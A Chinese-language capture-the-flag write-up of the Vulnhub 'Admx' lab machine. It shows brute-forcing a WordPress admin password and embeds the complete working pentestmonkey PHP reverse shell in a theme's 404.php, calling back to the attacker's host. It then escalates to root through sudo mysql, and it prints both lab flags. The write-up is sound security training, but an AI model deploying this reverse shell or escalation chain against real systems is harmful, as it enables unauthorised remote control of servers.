Vulnhub-Admx

2024-07-23 12:18
SfTian
1 评论

# Admx

## 资产收集

| IP            | 描述 |
| ------------- | ---- |
| 192.168.0.128 | Kali |
| 192.168.0.132 | 靶机 |

该靶机仅有80端口开放，在访问wordpress目录后进入wordpress文件夹

## Web

由于访问wordpress速度过慢，查询后发现根据设置的问题他需要把从`192.168.159.145`加载的资源强制改为靶机IP才可以正常访问

### 替换URL

使用burp的 `HTTP match and replace rules` 将其请求地址做修改

![image-20240723112207595](https://download.imxbt.cn/upload/20240723112207921787e215e6664c652f549ca4b6864cd5b.png)

由于wordpress的登陆页面可以判断出是否存在该账户，所以我们从这里入手找到`admin`用户，然后进行爆破得到密码`adam14`

![image-20240723114047790](https://download.imxbt.cn/upload/20240723114047957cff22e85a2f8b8b1fff774c7afb493ba.png)

## Getshell

在404.php中写入反弹shell

```php
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.0.128';
$port = 833;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>
```

访问任意可以导致404的地址即可拿到shell

![image-20240723115816762](https://download.imxbt.cn/upload/20240723115816865e9256aba7dbe193ba3de5b6b7ea1bd20.png)

通过搜集信息发现/home/wpadmin文件夹的local.txt仅wpadmin可读，在网站目录收集到wp-config的MySQL信息

![image-20240723120704158](https://download.imxbt.cn/upload/20240723120704235982124f69b10d6c6c017c4c1e8a9c6f6.png)

但是给的信息无法正常登录到MySQL，如果直接`su wpadmin`并使用`adam14`可以切换到wpadmin用户，在根目录拿到flag

```shell
cat local.txt
#153495edec1b606c24947b1335998bd9
```

sudo -l发现wpadmin可以sudo执行MySQL登录

```shell
sudo /usr/bin/mysql -u root -p
system id
system bash
```

![image-20240723121523541](https://download.imxbt.cn/upload/202407231215236972b1f2120c8902d90e28c87f9100bb86d.png)

进入root目录可以获取到第二个flag

```shell
cat proof.txt
#7efd721c8bfff2937c66235f2d0dbac1
```

Vulnhub-Admx

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